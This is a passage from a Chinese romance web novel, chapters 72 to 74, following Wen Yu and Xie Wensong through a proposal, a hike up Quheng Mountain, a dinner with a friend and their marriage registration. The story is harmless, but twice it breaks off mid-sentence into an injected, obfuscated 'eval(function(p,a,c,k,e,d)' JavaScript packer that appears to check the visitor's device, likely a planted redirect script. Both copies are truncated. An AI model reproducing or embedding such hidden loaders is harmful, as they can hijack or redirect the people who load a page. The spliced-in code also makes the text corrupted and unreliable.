此刻,谢闻颂注视着温遇颈间的“Always”。 这个动作发生在离得很近的他们身上,其实有些暧昧,温遇用手指尖轻轻穿过中间的圆孔,点在谢闻颂颈前的皮肤,顺着绕圈圈。 “你这么说。”谢闻颂垂头将脸埋在她的颈窝,学着她刚才挑逗的方式,用嘴唇蹭,唇缝往里带空气,抽空把话补全,语气黏糊糊的:“好像是有。” 回的是她问的那句“有没有事瞒着她”。 温遇一听这个,顿时把埋在她肩膀的脑袋推开,语气比刚才认真多了:“真有?” 被推开的人还有点不满足的情绪,不过想起什么,谢闻颂还是弯起微微泛红的嘴唇,“真有。” “是什么。” 谢闻颂重新将脸埋回去,不客气道:“今晚想抱着你睡。” “……” 哪天她说不要抱,结果还不都是被他抱着睡? 她抵抗有什么用。 温遇伸手攀上他的后背,没像往常一样说别扭的话将其推开:“要想我了,就去找我,别给你憋坏了。” “温鱼鱼。”肩窝的皮肤处被断断续续呼出的热气熏得发烫,谢闻颂窝在她那儿笑,喊她的名字。 “干嘛。” “我现在有点憋坏了。” “…………” 温遇现在对他时不时这样已经司空见惯,只不过标准的无语仍旧维持:“你不是禁止白日宣淫吗?” “可是怎么办?”谢闻颂撂下句无赖的话:“我就是想白日宣淫。” 温遇选择不回答他这话,他们抱了会儿,她才闷闷问了句。 “会想我吗?” 声音隔着他身上的衣服过滤得有些模糊,温遇像在问他,也好似在问自己。 谢闻颂原本只是虚虚揽着她,听见这句,下意识收紧搁在她后腰的手臂。 “想你。” “只想你。” 就算你站在我面前,我也会想你。 两人脖颈之间的指环相撞,仿若对视下相碰的手指端,指纹重合到一起的纹路在心底荡起一圈又一圈的涟漪。 - 温遇回余杭的第一天晚上,唐熹做了她最爱吃的肉沫蒸蛋,祖孙俩在一张圆桌上,聊起了不少从前的事。 唐熹提起谢闻颂,问他俩现在怎么样。 这个“怎么样”明显指的是感情进度。 温遇专心扒饭:“一切正常吧。” “正常也得有个进度吧。”唐熹女士明显没被她忽悠过去,“同居了?” 见温遇扒饭的动作明显一顿,唐熹就知道自己猜对了,老小孩似的眯眼笑:“不愧是小时候就已经握过手的人。” “……”温遇在想这两者之间到底有什么关系。 “你们年轻人之间的感情进度我不多参与了。”唐熹摆摆手,“你们心里有数就行。” “过年小颂来的时候,我还问他是不是喜欢你。” 外婆这句话让温遇惊得不轻,她回忆了 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他还没回。 指尖点开对话框又给收下去,温遇其实想问他过年那天早上到底发生了什么,却又觉得他们现在已经在一起,纠结过去的某句话似乎意义不大。 犹豫之间,对面突然分享给她一首歌,以前的消息被顶上去,温遇没有丝毫准备,只能愣愣盯着歌名—— 《关于爱的定义》 紧接着,她戳开播放三角,流畅的旋律混着歌词入耳。 她没有跳转到音乐平台,手机界面还停留在和谢闻颂的聊天记录上。 现在的我该如何能走近你最深的心 要多久有些花会晚开 多久有些人要等待 多久为了你一句话 我的心都不会退 只是爱你 …… 小鱼丸了:挺好听的,怎么想分享这首歌? Bigboss:想听我唱吗? Bigboss:下楼。 小鱼丸了:!!! 温遇下意识从床上坐起身,视线往窗外投射,火红的晚霞如泼墨般覆盖在整片天空下,窗户玻璃上都染上被烫红似的颜色,她的脸越来越热,放下手机就开始换衣服。 下楼梯的时候,身体内有棵苍天大树快从胸膛中破土而出,温遇气喘吁吁下到一楼,和倚在车门外的人四目相对。 她跑过去,双手圈住谢闻颂的脖子,语气惊喜:“你不是有事吗?” 前几天她问的时候,谢闻颂说可能这次没办法和她一起回余杭,温遇说的那句想她就来找她其实只是打趣而已。 “嗯,是有事。”谢闻颂环住她的腰,熟稔地低头和她碰碰鼻尖:“是关于你的事。” 他身后的霞光还未退去,将谢闻颂的发丝边缘都烧得毛茸茸质感。 像小狗。 “公主,和我去个地方?” 车程不远,温遇开了副驾驶的窗户吹风,胳膊肘每每搭在车窗边缘,都要被谢闻颂拉回来:“不安全。” “……噢。” “过年的时候,我外婆问你是不是喜欢我……” 温遇没把刚才的疑惑留到现在,把话点到这已经很明白。 他们之间,已经是不需要对彼此隐瞒的关系。 “我说的是。”谢闻颂双手搭在方向盘上,将车里正在播放的那首歌切到《关于爱的定义》:“这种事,没必要说谎。” 这的确是谢闻颂的性格,好像在他的世界里,迂回和撒谎根本不存在于他的字典里,他没有做过什么事是需要刻意回避别人做的,包括喜欢她在内。 他喜欢一个人,虽然不会刻意隐藏到什么都没发生,不过也不急于让全世界都知道。 不过如果被全世界知道,也不是不可以。 温遇被晚风吹得眯起眼睛,扭头让谢闻颂把天窗打开,晚风灌进车里,路边烧烤的烟火气混进气流中,她舒服得直喟叹。 谢闻颂将车开到一家私人会所的露天停车场,领着她进了一处会所内的露天小花园。 这里明显提前有人精心布置过,场地最中间有一块面积不小的圆台,周围铺了一圈鲜花,颜色是她很喜欢的搭配,温遇还没认全其中的品种,就被他牵着站在圆台中央。 眼前人的目光和今夜晚风一样温柔,温遇被他牵住双手,鼻间满是鲜花好闻的气息。 用眼神代替拥抱的时间,温遇的手心其实在出汗。 紧接着,她看见眼前的人逐渐矮下去,单膝跪在自己面前。 谢闻颂手上变戏法似的摸出个黑色丝绒质的小盒,他没急着打开,虔诚执起温遇的双手。 他说话像在自言自语,仿佛这些文字已经在他胸膛内沉积很久,拿出来的一瞬间,竟也有些阔别已久的恍惚在其中。 风仍旧在轻柔地吹,像在缓慢而珍重地诉说一个男人从少年到成人一直不变的守护。 “曾经有很多个瞬间,让我觉得我不会比昨天更喜欢你,可每一天醒来的早晨,我还是会被自己打败。” “温遇,我承认,喜欢你这件事,是我人生中相当重要的一笔。” “我爱你,温遇。” 72.西瓜 72/ 赶在学生放暑假以前,温遇和谢闻颂抽了天空档回曲珩山。 他们第一次来这里的时候还是在高三那年,温遇突然生了病,谢闻颂陪她挂水,问她明天高三年级举办的活动还要不要去参加。 谢闻颂现在都记得她微微凌乱的刘海下那双清澈见底的双眼。 生病也不影响她的行星自转,她说她想去。 明明脸上还有未消散的病态,明明针头刺入皮肤的位置还泛着青,她还是说她想去。 谢闻颂总是在这种时候对她的某种感情滋生起来,他低头重新握紧笔,说了声好。 他好像没有什么阻止的理由。 或许相比于阻止,他更想陪着她去。 其实从南川附中毕业以后,谢闻颂没再来过这里,故地重游其实不是他怀念过去最主要的方式。温遇工作后倒是回来过,还把当初卖给他们平安符的老板的事告诉他。 时过境迁,很多人和事变化飞快,虽然他和温遇也不是什么多愁善感的人,也不免为时间带来的遗憾而感慨。 多年以后,他们双手紧握,重游故地,那穿着同色系校服的两个人,终于开始真正有了联系。 山顶有座祈福庙,温遇上次来的时候那里还被封条拉起来,显示正在修葺,这次他们没先查那里是否已经修缮完毕,只是抱着回忆的想法来到这里。 人比地点重要。 站在山脚下,温遇收紧绑在腰间的格子衫,用肩膀轻轻撞了下旁边的人:“什么感想?” 某人吐出三个字:“不敢想。” “……” 温遇想把手抽出来,奈何谢闻颂不肯,嘴上说着错了,实则面上没有一点反思忏悔的样子。 谢闻颂一般这种情况下的认错也带着漫不经心的味道,也知道温遇不是真生气,用这样的态度说,更像是在逗她。 以前被这人的表面骗,现在仍旧被他吃得死死的。 温遇身体内蛰伏已久的胜负欲在此刻又翻涌上来,“那我们比谁先到山顶!” 鱼鱼同学摆好跑步姿势,脑后的马尾发尾卷翘,弯起的弧度像月牙。 谢闻颂饶有兴致绕着她转了一圈,伸出手把她同手同脚的动作纠正过来。 “…………” 温遇抿嘴,努力掩饰自己的尴尬,默默收回腿,双脚并拢站在一起:“你其实可以不用告诉我的。” “所以我刚才没说话啊。” 谢闻颂撩起抹欠揍的笑容,手指在她的发尾打圈儿。 “……”重点是在没说话这件事上吗? 温遇顺着山脚往山顶的位置看,故作苦恼:“突然就有点想让你背我上去了。” “可以啊。”谢闻颂回答得很果断,很轻松地往两边摊手:“不过,你确定不是在给我谋福利吗?” “……” 嘴欠归嘴欠,温遇不想让他身体上那么舒服。她想,两者总得累一个吧。 如自己目的般圈住谢闻颂的脖子,将整个人的重量压在她身上,温遇在他耳边不怀好意的笑:“今天累死你。” “今天累不死我。” 谢闻颂回答地轻飘飘的,没什么压力:“这么小瞧你男朋友啊。” “你才不是男朋友。”温遇也不知想到了什么,嘴快地嘟囔一句。 往常要是她说这种话,哪怕只是用玩笑的语气,谢闻颂也肯定要用各种方法让她把这句话收回去。 不过今天,他只是笑得胸膛轻微震动,温遇感觉到,似乎在想他这样笑的原因。 不过看到手上正在闪光的戒指,她有点想明白了。 原来是这样啊。 “放心吧,背十个你,都不会累死我。” “为什么?” “你会觉得自己的全世界重吗?” “……”温遇没想到他这样说,猝不及防的一句话也动人。她的呼吸微微收紧,其实脸上已经浮现出明显的不好意思,不过她也没遮挡,反正谢闻颂看不见。 她用和刚才一样的小声对他说:“你今天出门前也没吃糖啊?怎么突然说话这么甜?” 这次轮到谢闻颂沉默了,温遇感觉圈在自己腿上的手往里收紧,她的手臂下意识收紧,差点给谢闻颂勒窒息。 谢闻颂笑着咳了几声,“哪怕你不想让我成为你男朋友,也不至于谋杀我吧。” “……” 刚酝酿上来的一丁点感动被某人几句话扫得一点残余也没有,温遇现在只想让他把嘴闭上。 这人怎么总是这样,一边让人感动,一边让人讨厌。 可她还是那么喜欢。 …… 曲珩山的山顶并不难登,不过上台阶是需要体力的,半程已过,温遇感觉到他呼吸变重,提出要从他身上下来这回事。 直接提他未必会放手,温遇想了想还是选择找个理由:“谢闻颂,我想去买瓶水喝。” 温遇双脚踩在地上,看见他额头上都有了汗,从斜挎包里摸出手帕纸给他擦。 谢闻颂迁就她低头,水下浸到他的瞳孔中,泛起一层被热空气晕染的水润,薄薄地在他眼底铺了一层,像颗纯粹的泪含在其中,情绪都是单一透明的。 温遇甚至都不需要读,就能触摸得到。 旁边的阴凉下有位置,谢闻颂被温遇按着肩头坐下,他顺着脚步离开的方向,只看见挂在她腰上黑白格子衬衫的一角。 夏日的风炽热,饶是谢闻颂这种不爱热的人,现在后背都爬上汗珠,顺着脊背滚动下落。 树荫下是唯一凉快点的地方,谢闻颂稍微闭了闭眼,嗅到了很浅的植物气息。 风吹到这里好像终于变得凉快一些,谢闻颂微垂起头闭上眼,只凭借听力捕捉逐渐靠近的人。 她明显放慢脚步,可惜,他的感知也很敏锐,不过为了配合她接下来未知的安排,故意当做什么也没发生。 于是脸庞就被冰的塑料瓶贴上。 凉得他后背一抖。 “好玩?”他动动被冰住的一边脸,抬起眼看她。 “好玩啊。”温遇弯下身,凑到他眼前,散下的长发顺着风的弧度扫在他的脸上:“知道我过来装作无事发生的样子,等着我对你做点什么——” 她弯起眼:“不是也挺爽的吗?” “……” 四目相对,距离实在太近,谢闻颂双手稍微撑一下就能亲到她,他也没吝啬这点距离,一触即分。 谢闻颂做吞咽动作,脖前顶出来的一角上下滚动。 他眼神不太纯洁。 “确实挺爽的。” …… 山顶的祈福庙仍旧处于修葺状态,温遇和谢闻颂隔着层层绿影看了眼,没过多停留慢慢下山。她买的那瓶桃子饮已经喝完一半,谢闻颂看向手里的白水,问她能不能给他尝一口。 温遇直接拧开瓶盖给他喝,谢闻颂尝了口,觉得有点太甜了。 突然就想起自己家里时常备着的苹果味软糖。 其实他也不知道自己什么时候开始在家里准备和温遇有关的东西,他以前不喜欢吃糖,却在路过那个熟悉的包装时选择买下。 因为想起来,温遇好像很喜欢这个口味的糖。 剥开糖纸,他捻起送进口中,逐渐习惯苹果味。 其他味道的都一般,只有苹果味,越嚼越好吃。 谢闻颂当时就在想。 是真的很喜欢啊。 是真的。 很喜欢。 他骗不了自己的心。 也不想当这段感情故作不在意。 - 还剩两天假期的时候,程以桉约了温遇晚上吃饭,闺蜜饭局她自然不会推掉,只好和谢闻颂下次约去电影院看最近口碑还不错的电影。 谢闻颂表面说好,实际上早就已经穿戴整齐坐在沙发的最角落,一如既往的黑色渔夫帽,温遇凑近看,边缘绣了只抱着胡萝卜的小兔子。 “……” 怎么这么像儿童帽。 不过温遇很快反应过来:“你也去?” “我不去。” “那你——”他这行头明显是要出去的意思。 “离你们聚餐的地方隔五十米有一家网吧。” “我去——”谢闻颂稍作停顿,“去补个觉。” “……” 您去网吧补觉啊。 温遇礼貌性地笑了一下,单手握住包带:“那我祝你睡个好觉?” 谢闻颂抬起下颌,客套地回以一句:“谢谢。” 如果不是他们手上那两枚配套的戒指,还以为他们之间有多么生疏。 “那我走啦?” “嗯。” 温遇站在门口的位置,没急着开门出去,单手握着手机正回复消息,也没注意周围的动静,直到背后突然贴过来一个人。 像只大熊一样。 某人习惯性地把脸往她肩窝里扎,发尾扫得她脖子直痒。 她上半身就穿了件花边坎袖衬衫,领口挡不住他短发过来挠痒,后背被一整块炽热包裹,温遇反应两秒:“怎么了?” “没事。”谢闻颂松开手臂,抬起头在她脑袋顶胡撸了一下:“结束了我去接你。” - 当林思睿顶着一身起床气赶到离他家二十公里的一家网吧,怎么也想不明白谢闻颂大晚上把他叫到这的目的到底是什么。 单手搭在电竞椅的椅背上,林思睿没什么好气:“你知道我昨天晚上几点睡的吗?” 谢闻颂的手搭在鼠标上,“又通宵了?” “我下午才睡,结果被你一个电话薅起来。” 像曾经读书时候吐槽某人总是在他休息时候薅他出来的语气一样,林思睿扒拉开椅子,直接坐在上面,伸手挠头:“大爷,又怎么了?” 谢闻颂这才偏头给他一眼神:“没怎么,想在这补个觉,顺便邀请你一起。” “……你神经病吧。” 林思睿头发还是刚睡醒的松散卷,上个月他去烫了个卷毛,当天就在朋友圈发了条自己认为贼帅气的一张照片,结果谢闻颂竟然在他底下评论像在地上翻滚了一圈的泰迪。 这账还没跟他算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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专注眼前就已经占据她全部目光,温遇没心思想那么多。 没人为她撑伞,那她就自己为自己摇旗呐喊,也未尝不可以。 “所以我一直也在想啊。”温遇咬吸管:“我这么做什么事情都淡淡的人,心里防线设这么深的人,知心朋友还真不少。” 程以桉嗤笑一声:“你是不是对自己了解太少了点?喜欢你的人,爱你的人,不管怎样都会来的。” “谢闻颂会不了解你吗?”她说:“相信我,他一定比你认为的,还要了解你。” 温遇只笑不说话,把自己杯子里剩下的那点默默喝完。 手机再放下的时候,对面的Bigboss发来消息。 风过又静止,晚霞早已经退场,二楼舞台上正在演奏爵士乐,温遇托着开始发烫的脸望向天空,思绪完全放空。 程以桉最后问:“想好了?” “嗯。” “行。” “我会准时到场,陪你度过人生重要的瞬间。” 桌上送的果盘里还有几片西瓜,温遇想起一件事,没憋住直接笑出声。 “怎么了?” “小时候我因为讨好谢闻颂要份暑假作业的答案,从厨房偷了块西瓜去找他。” 温遇努力回忆,越回忆越想笑:“结果回来才知道,那块西瓜是我妈用错刀切坏的,原本是要给外面的小狗吃,被我拿给他了。” “这事他现在都不知道。” “……” 程以桉没想到还有这样的事,酝酿好的笑声就要极其快速从声带震动发出,抬眼看见温遇身后的人,却是一点也笑不出来。 她疯狂给温遇使眼色,后者忙着被酒精洗脑,根本接收不到这隐蔽的信号。 温遇眼泪都笑出来了,还在继续问:“你怎么不笑啊,不好笑吗?” “……” 特爷爷的,谁告诉她,她现在该不该笑。 程以桉感觉有一把尖刀被架在她的脖子上。 故事的主人公就站在你身后,让我怎么说这事好笑。 虽然确实挺好笑的。 温遇正低头扒拉盘子边的薄荷叶,视线里出现一只手,从她指尖把薄荷重新拿走。 怎么这也要抢。 好无礼啊…… 不过他手上的戒指。 好眼熟。 好像是刚才被她背后蛐蛐的那个人诶。 温遇抬头,黑色帽檐下那张脸勾人到能扫清她眼前的一片模糊。 噢,他来了啊。 切。 帅有什么了不起的。 还不是当她的裙下臣。 谢闻颂双手抄兜,仿佛自己只是个听故事的旁外人。 “嗯。” “确实挺好笑的。” “……” “所以老婆,我们什么时候回家?” 73.太阳 73/ 温遇被他领着往前走,茂密树叶掩映路灯,片片光屑落在他们身上,她瘪起嘴,对他刚刚的话不太满意似的。 “你别瞎说,我现在还不是你的那谁呢。” 哪有人提前就喊上占人便宜的啊。 她们吃饭的地方附近不让停车,谢闻颂停车的位置离温遇吃饭的地方有一段距离,不管她喝没喝酒,他都实在不是很放心让她一个人走夜路。 他领着点,感觉才能放下心。 感觉只有把她的手实实在在拢在掌心,来回上上下下跳动的心才能归位似的。 还没到停车的位置,谢闻颂倒也不急耗费的这点时间,没松开她手腕,只是虚虚握着,转身和她面对面站着。 “那你说,什么时候是。” “……” 温遇鼻息略微加重。 她其实根本没怎么醉,果酒度数低,她也就过过嘴瘾,愣是给品出一点“慢工出细活”的感觉,倒真不可能让自己喝到酩酊大醉。 加上已经在室外吹了会儿风,现在思绪早已回归正位。 谢闻颂对这个问题的答案已经心知肚明,他用这种眼神看她,明显温遇也知道他口中的“什么时候”到底是什么时候。 而他就是要让她自己说出来。 可谓是非常非常坏了。 温遇偏过脸,很轻地抿了下嘴唇。 “……明天。” 她说完,视线下落瞅眼上翘的脚尖:“明天才是。” 明天才是。 很少女的行为,谢闻颂盯着她漆黑的发顶,突然很想伸手去揉一揉。 青春时代的马尾辫仿佛被人解开散下,眼前少女的脸退去青涩,落在他们身上的碎光仿佛时间这面镜子所折射的现在。 而明天,他们的关系又要走到新的阶段。 谢闻颂眼神微动。 “但是我想提前行使下权利。” 谢闻颂一句话,温遇突然又不知道该怎么回了。 好像提前行使权力,也没什么不可以。 他们真的走到了这一步。 温遇系好安全带,手还没从上面下来,听见谢闻颂犹犹豫豫来了句。 “所以当时那块西瓜,确实不是给我吃的?” “……” 没想到他竟然还在纠结这个问题。 温遇有点哭笑不得。 车内空间几分凝滞,像融化的奶油全都黏在塑料壳上,让温遇一时间不知道该怎么处理。 长发挡在脸侧,温遇转眼看向他,眼神真诚:“……嗯。” 蹦出这一个字之后,温遇试图往回找补:“但我当时给你的时候,心里想的确实是给你的。” 怎么说得像绕口令一样。 “噢。”谢闻颂能明白她意思,并没表现什么明显的情绪,双手趴在方向盘上,漆黑的眼瞳仿佛有道隐形的弯钩,把温遇的注意力轻而易举勾过去。 “谢闻颂,你生气吗?” “我生什么气。”某人启动车子,带着笑音回的这句:“当时只顾着高兴了。” 仿佛他真的没脾气一样。 “噢。” “正好冰箱里还有半块西瓜,我回家给你切掉呗。” 温遇看向窗外,强忍着笑说。 “……” 谢闻颂先是沉默,然后秉持着最后的“坚强”道:“我今天可能不太想吃西瓜。” 说完这句他又补充:“可能短时期都不太想吃了。” 温遇只是笑,想着还是等回家再哄吧。 先让他难过一会儿。 回家以后,温遇一个个拆到家的快递,其中有一个是她给今年给新拼图选的画框。 上两幅《冬灯》和《城市之光》已经挂在空的墙面上,那儿还有多位置,温遇想着一年至少能拼完一副新的挂上去。 和谢闻颂说完她的想法之后,温遇又开始苦恼:“要是这面墙都挂满了该怎么办?” 谢闻颂比她淡定得多,边给她出主意边摁着遥控器:“环岛那还有三层,够你挂的,放心吧。” “……” 温遇用一种难以言喻的眼神看向他,想起上次去环岛时,还是她去年从国外回来的时间点,紧接着,谢闻颂就告诉她可以来这边住。 他当她房东。 “其实当时没那么巧对不对?”温遇眼神透亮直视他,仿佛时间传来的回响能窥破他那时的小心思:“你就是想让我来这里,对不对?” 她没给谢闻颂多犹豫的机会:“苹果色的壁纸,我喜欢的装修风格,你从一开始就准备好了,是不是?” 谢闻颂很认真听她把话说完,虽然什么都没说,可眼神骗不了人。 原来那些秘密的伏笔被当事人解读出来,是这样的心情。 好像自己被风轻轻抱了一下。 原来是这样的感觉。 谢闻颂有一瞬间的恍惚。 温遇低下头,被人拢住肩膀。 肩膀处隔着衣料抵在一起,她能感觉到对方骨骼的纹路一般,适应这个很克制的拥抱。 不似以往贴在一起的,恨不得把对方揉进自己身体内的拥抱。 这次不是要走进回忆里面。 仅仅只是触碰一下就好。 “是。” 谢闻颂把尾音吞掉。 那些痕迹,都是我爱过你的证明。 - 立秋当天,谢闻颂和温遇决定去办一件相当重要的事。 这事其实是温遇先提出来的,婚礼日期已经定下来,在此之前需要准备和忙碌的东西不少,于是寻思找天上午,去把证件领了。 温遇在社里请假只说是私事,并没有提更多,她刚被求婚那会儿,上班时会把戒指摘下来,奈何有时候会忙到忘记再戴回去。谢闻颂来接她时看见,就会捏住她什么都没戴的手指反反复复看,然后给她一个可怜巴巴的眼神。 她就是在这样的眼神里,从兜里翻出来放回丝绒盒子里的戒指:“……在这儿。” 温遇指底还有戒指印上去的痕迹,谢闻颂将他们的手并在一起,只有他的手指上还带着戒指。 车内空间安静,他低头抬头又低头,“它好像有点孤单。” “它”指的是他手上的戒指。 温遇重新把戒指戴回去,笑着展示给他看:“这下就不孤单了。” 他似乎在想什么,握上她手指时笑了下,使小劲摇晃:“嗯,不孤单了。” 那天之后,温遇去上班前,没再把戒指摘下来。 谢闻颂还是太了解她,选的款式完全在她喜欢的范围内,钻石大小适中,丝毫不影响日常正常活动,棱面切割细致,低调不失精致感。 相比于她这枚,谢闻颂那枚没有突出的一颗钻,看上去会显得很素净,可仔细看却能看见小米粒大小的钻斜斜连接,像流星拖尾。 一点也不普通的两枚戒指。 温遇都不知道他从什么时候开始准备这件事的。 类比一下之前的种种。 或许比她以为的还要早。 他也的确很会选。 温遇再去上班时没摘掉,右手搭在鼠标上,没忍住看了好几眼才挪开,趁着摸鱼间隙拍了张右手的照片给某人发过去。 小鱼丸了:今天“它”不孤独了吧。 那头在她发过去半分钟内就显示“对方正在输入中”,谢闻颂也对着自己戴戒指的手一张特写。 Bigboss:【图片】 Bigboss:嗯,今天它和我说不孤独。 Bigboss:它就是说有点想你,挣扎着要从我的手指上跳下来。我只能说你得多忍忍,忍到晚上六点半,如果你做得到,你将会成为一枚勇敢的戒指。 后面还配了三个大拇指的表情。 “……” 表面上说的是戒指。 真正的意思都快直接搁到她脸上了。 温遇怎么可能不知道他这番话的含义。 她在想怎么会有人逆生长,越来越幼稚。 小鱼丸了:早知道你有这口才,情书三百六十页应该都给你写才对。 对面不说话了。 看来是被戳到某种痛点上。 Bigboss:手下留情一点吧。 Bigboss:好老婆。 “……” 温遇盯着最后三个字,脸上的温度呈正比例飙高,于是决定这次的对话就停留在这。 戒指重回手指没过几天,还是被一些有心的同事发现。 各种猜测被问出口,温遇想了想,还是没打算瞒着自己打算结婚这件事,也有人问她对方人怎么样,她一律只给三个字—— “挺好的。” 其余的都不再多说,到了该工作的时间,刚才围在温遇那儿的人都自动散开,只剩下似有若无的视线飘向这里。 温遇不太关注这些,晃晃鼠标结束电脑待机,转头看见林檬凑过来的脸:“老板弟弟知道你在给他发好人卡?” “老板弟弟”是林檬给谢闻颂起的新代号。 工作这一圈内,也就林檬现在知道她和谢闻颂的事。 其实她原本也是不知道的。 那天谢闻颂在整理他们从小到大的照片时,有几张有意思的从他那边发过来,温遇电脑登着微信,就手给点开了。 谢闻颂那张脸没什么变化,从小到大完全是等比例生长,林檬在旁边的工位,不经意间瞅着愣了下,总觉得有点熟悉。 于是等她想起来的时候,杯底的咖啡粉末都还没搅开,温遇也已经把微信界面叉掉,朝她露出一个隐秘的笑容。 林檬嘴已经呈o形,无声对她做口型。 念的是谢闻颂的名字。 温遇点头,伸出食指抵在唇边,做了个“嘘”的动作。 林檬会意,却怎么也压不住内心的震惊。 这世界也太小了吧。 温遇也知道自己不可能一直瞒着,总有一天会被人知道。 只不过现在还不太想主动暴露这段关系。 感情这种事,她和谢闻颂一样觉得冷暖自知,如果是自然而然暴露倒也没什么,只是不想在还没结婚之前就到处播散。 被林檬不小心知道,温遇其实倒没觉得什么,前者想想她一直以来低调的性格,也猜到温遇不想让这种事被很多人知道。 于是两个人只在只有彼此相处的空间里才会提相关的事。 惊讶的浪潮退去,林檬在温遇偶尔透露一点自己和谢闻颂之间的事时,逐渐演变为他们的粉头。 温遇知道她这个想法后哭笑不得,转移注意力低头吸果汁。 林檬则盯着她胶原蛋白满满的脸颊,忍不住伸手去捏。 从温遇刚入职那会,她就觉得这小姑娘身上有股柔和的韧劲儿。 不管做什么麻烦事都应付得来,她好像车里放的太阳能摆件,只要吸收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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温遇打趣他:“你紧张啊。” “我紧张啊。”谢闻颂深深呼出一口气,温遇听见,正准备试图沉入他的紧张里。 结果他下一句:“人生第一次登记结婚,有点紧张。” “……” 说得好像她不是第一次似的。 温遇还被困意反复冲刷脑海,实在分不出多余的精神和他较劲这一两句话。 “开玩笑的。”他说,“我可能还有点没太反应过来吧。” 他这话说得声音很小,温遇自己的呼吸声混着他不太明显的咬字,却还是把他这句话在脑海里过了一遍。 温遇收紧握着他的手,剩余的话她也不知道该怎么说,只能通过这种方式告诉他自己想表达的东西。 谢闻颂感觉到温遇细小的动作,扭头看她长发遮挡住的侧脸,又没忍住偷偷在手上和她拇指对拇指地盖章。 盖了这个章。 这辈子就不能分开了噢。 …… 立秋已至,盛夏的气息仿佛还残留在叶脉流淌的水分里,阳光仍旧灼热,夏天的衣服还不着急往柜子里收。 温遇穿了件浅蓝色的吊带裙,外罩白色短衫。 裙摆荡漾在风里,谢闻颂看了她很久,然后低头注视自己上半身的近色衬衫。 其实昨天后半夜他都没怎么睡着,上网搜了很多关于结婚前的注意事项,一直看到天蒙蒙亮,枕边人的呼吸仍旧平稳,只有他自己的心跳声格外沉重。 现在他站在民政局外,掌心也有些出汗。 这么多年,很少有这样的情况。 温遇和他站在排队的位置,也许是他身上的紧张被她察觉,女孩握住他的手。 温遇没忘记昨天半夜的事,其实她也有点紧张,不过倒没有到睡不着觉这种程度。 没想到谢闻颂反应这么大。 “需要我抱你一下缓解紧张吗?”温遇踮起脚,把脸凑到他面前,弯起唇角问了句。 温遇今天提前起床化妆,睫毛纤细分明,卷翘的弧度仿佛根根都被仔细卷过。 自然光下的唇彩亮晶晶,像铺了层的颜色/诱人的糖,谢闻颂垂眼看她,在想公主怎么全身都是宝藏。 有种今天带着公主一起出逃的错觉。 谢闻颂想到这儿,突然意识起刚才温遇和他说的话。 “什么……” 下一秒,温遇自己连同身上的淡淡香味一齐扑进他怀里,像阵春天带着花香的风。 谢闻颂甚至双手还只来得及抬到一半,刚才笑眯眯问他要不要抱的女孩已经果断抱住他。 他知道。 不管他回答什么,她都会来抱自己。 温遇把脸贴在他的胸口,寻找一个自己觉得很有安全感的姿势。 “知道你傲娇,有别的情绪总是不愿意说,如果一个人至多要有一个读懂他隐喻的人,那么你,就由我来吧。” “像你了解我那样了解你。” 众声嘈杂里,他只能听见温遇的声音。 “之后一起做最了解彼此的人吧,谢闻颂。” “我相信我们会幸福的。” “一定。” 74.兔耳 74/ 封皮相同的两个小本本,温遇和谢闻颂一个人手里拿一个。 走出来的时候,略微有些阴沉的天气似乎此刻刚开始消散,日光自云层泄露,温遇捏着本子的抬起手,边缘刚好遮住光。 正在她恍惚之时,旁边凑过来一模一样的红本,和她并排放在一起。 温遇弯起唇角,问他:“现在的感想,还是不敢想吗?” “现在敢想了。”谢闻颂小心翼翼收好两个小红本,腾出手去牵她:“现在都敢想晚上要吃什么了。” 温遇忍不住旧事重提:“蒜味的西瓜?” “敢不敢想?” “……”谢闻颂露出一个不太好看的笑:“如果你让我吃的话,也不是不行。” “为什么?” 某人自然而然地赖在她身上:“因为你是我老婆呗。” 不管是话的内容还是语气都有点太过肉麻,温遇下意识想把他推开:“你别这样行不行。” 以前和她时常拌嘴的人,怎么结婚以后能变成这样。 温遇开始怀疑他本质是不是就是这样粘人。 太阳从云层后向地面投射,温遇低头注视着他们贴在一起的影子。 远处传来情侣的争吵声,温遇闻声抬眼看去,正好他们也在往这边走,于是争吵的声音变得越来越清晰。 无非是一些日常生活中的矛盾,温遇放慢往前走的脚步听了一会儿,直到被谢闻颂捏住耳廓:“听够了没。” 仔细品还能品出一点自己关注度被分走的不满。 温遇完全没注意到他已经开始变化的情绪,沉吟片刻偏头看他。 “我们以后会变成这样吗?” “……” 表面云淡风轻,谢闻颂知道,这实则是一道送命题。 温遇的注意力在那两个人身上,而他的注意力全都在她身上。 “这样”是哪样,不言而喻。 谢闻颂也觉得自己奇怪,明明刚才心里还有种关注被夺走的酸溜溜,可她重新将视线调转到他这儿,刚刚的情绪瞬间就没有了。 还真是神奇。 裤兜里妥帖放好的红本本仿佛燎起一层不容忽视的温度,谢闻颂仍维持着懒散搭温遇肩膀的动作。 他这副模样看上去玩味十足,哪怕是很熟悉的人,感觉说出口的话也不能让人百分百信服。 温遇一开始也是这么觉得的。 或许谢闻颂会把刚刚那句话认为成她在玩笑。 毕竟他们刚成为很亲密的关系。 而温遇也是这样认为的。 只是下意识问出口的一句话。 风过又静止,谢闻颂把这句回答从第一个字完整念到最后一个字。 温遇根本还没来得及费力解读,他就已经把现成的答案剥开放在她面前,告诉她自己的认真。 他从来不隐藏自己内心的答案。 哪怕是擦肩而过。 他都可以袒露给她看。 “好不容易拐回家的,怎么舍得和你吵。” - 领证没几天,谢闻颂告诉温遇,乔若琳和谢景舟想见一见他们的事。 温遇知道这是必须且应该的,于是主动询问两位长辈方便的时间,仅仅用了半个小时就敲定了地点和时间。 关于谢闻颂的父母,其实温遇了解并不多,只知道他们工作内容的特殊性,导致平时她见到他们的频次也很低。 即便如此,却不怎么影响温遇对他们二位的内心的好感。 